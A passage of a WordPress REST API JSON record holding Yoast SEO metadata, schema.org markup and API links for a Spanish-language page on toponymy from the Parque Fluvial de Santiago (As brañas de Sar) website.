href=\"https:\/\/www.parquefluvialdesantiago.org\/es\/toponimia-y-microtoponimia\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Toponimia y Microtoponimia - Parque Fluvial de Santiago: As bra\u00f1as de Sar\" \/>\n<meta property=\"og:description\" content=\"El estudio de la toponimia es muy importante ya que aporta datos hist\u00f3ricos, geogr\u00e1ficos, econ\u00f3micos, etnogr\u00e1ficos desde el punto de vista cultural.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.parquefluvialdesantiago.org\/es\/toponimia-y-microtoponimia\/\" \/>\n<meta property=\"og:site_name\" content=\"Parque Fluvial de Santiago: As bra\u00f1as de Sar\" \/>\n<meta property=\"article:modified_time\" content=\"2017-02-23T07:52:02+00:00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data1\" content=\"12 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.parquefluvialdesantiago.org\/es\/toponimia-y-microtoponimia\/\",\"url\":\"https:\/\/www.parquefluvialdesantiago.org\/es\/toponimia-y-microtoponimia\/\",\"name\":\"Toponimia y Microtoponimia - Parque Fluvial de Santiago: As bra\u00f1as de Sar\",\"isPartOf\":{\"@id\":\"https:\/\/www.parquefluvialdesantiago.org\/#website\"},\"datePublished\":\"2017-01-22T03:06:02+00:00\",\"dateModified\":\"2017-02-23T07:52:02+00:00\",\"description\":\"El estudio de la toponimia es muy importante ya que aporta datos hist\u00f3ricos, geogr\u00e1ficos, econ\u00f3micos, etnogr\u00e1ficos desde el punto de vista cultural.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.parquefluvialdesantiago.org\/es\/toponimia-y-microtoponimia\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.parquefluvialdesantiago.org\/es\/toponimia-y-microtoponimia\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.parquefluvialdesantiago.org\/es\/toponimia-y-microtoponimia\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.parquefluvialdesantiago.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Toponimia y Microtoponimia\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.parquefluvialdesantiago.org\/#website\",\"url\":\"https:\/\/www.parquefluvialdesantiago.org\/\",\"name\":\"Parque Fluvial de Santiago: As bra\u00f1as de Sar\",\"description\":\"Parque Fluvial de Santiago: As bra\u00f1as de Sar\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.parquefluvialdesantiago.org\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"es\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Toponimia y Microtoponimia - Parque Fluvial de Santiago: As bra\u00f1as de Sar","description":"El estudio de la toponimia es muy importante ya que aporta datos hist\u00f3ricos, geogr\u00e1ficos, econ\u00f3micos, etnogr\u00e1ficos desde el punto de vista cultural.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.parquefluvialdesantiago.org\/es\/toponimia-y-microtoponimia\/","og_locale":"es_ES","og_type":"article","og_title":"Toponimia y Microtoponimia - Parque Fluvial de Santiago: As bra\u00f1as de Sar","og_description":"El estudio de la toponimia es muy importante ya que aporta datos hist\u00f3ricos, geogr\u00e1ficos, econ\u00f3micos, etnogr\u00e1ficos desde el punto de vista cultural.","og_url":"https:\/\/www.parquefluvialdesantiago.org\/es\/toponimia-y-microtoponimia\/","og_site_name":"Parque Fluvial de Santiago: As bra\u00f1as de Sar","article_modified_time":"2017-02-23T07:52:02+00:00","twitter_card":"summary_large_image","twitter_misc":{"Tiempo de lectura":"12 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.parquefluvialdesantiago.org\/es\/toponimia-y-microtoponimia\/","url":"https:\/\/www.parquefluvialdesantiago.org\/es\/toponimia-y-microtoponimia\/","name":"Toponimia y Microtoponimia - Parque Fluvial de Santiago: As bra\u00f1as de Sar","isPartOf":{"@id":"https:\/\/www.parquefluvialdesantiago.org\/#website"},"datePublished":"2017-01-22T03:06:02+00:00","dateModified":"2017-02-23T07:52:02+00:00","description":"El estudio de la toponimia es muy importante ya que aporta datos hist\u00f3ricos, geogr\u00e1ficos, econ\u00f3micos, etnogr\u00e1ficos desde el punto de vista cultural.","breadcrumb":{"@id":"https:\/\/www.parquefluvialdesantiago.org\/es\/toponimia-y-microtoponimia\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.parquefluvialdesantiago.org\/es\/toponimia-y-microtoponimia\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.parquefluvialdesantiago.org\/es\/toponimia-y-microtoponimia\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.parquefluvialdesantiago.org\/es\/"},{"@type":"ListItem","position":2,"name":"Toponimia y Microtoponimia"}]},{"@type":"WebSite","@id":"https:\/\/www.parquefluvialdesantiago.org\/#website","url":"https:\/\/www.parquefluvialdesantiago.org\/","name":"Parque Fluvial de Santiago: As bra\u00f1as de Sar","description":"Parque Fluvial de Santiago: As bra\u00f1as de Sar","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.parquefluvialdesantiago.org\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"es"}]}},"_links":{"self":[{"href":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/wp-json\/wp\/v2\/pages\/9127"}],"collection":[{"href":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/wp-json\/wp\/v2\/comments?post=9127"}],"version-history":[{"count":0,"href":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/wp-json\/wp\/v2\/pages\/9127\/revisions"}],"wp:attachment":[{"href":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/wp-json\/wp\/v2\/media?parent=9127"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}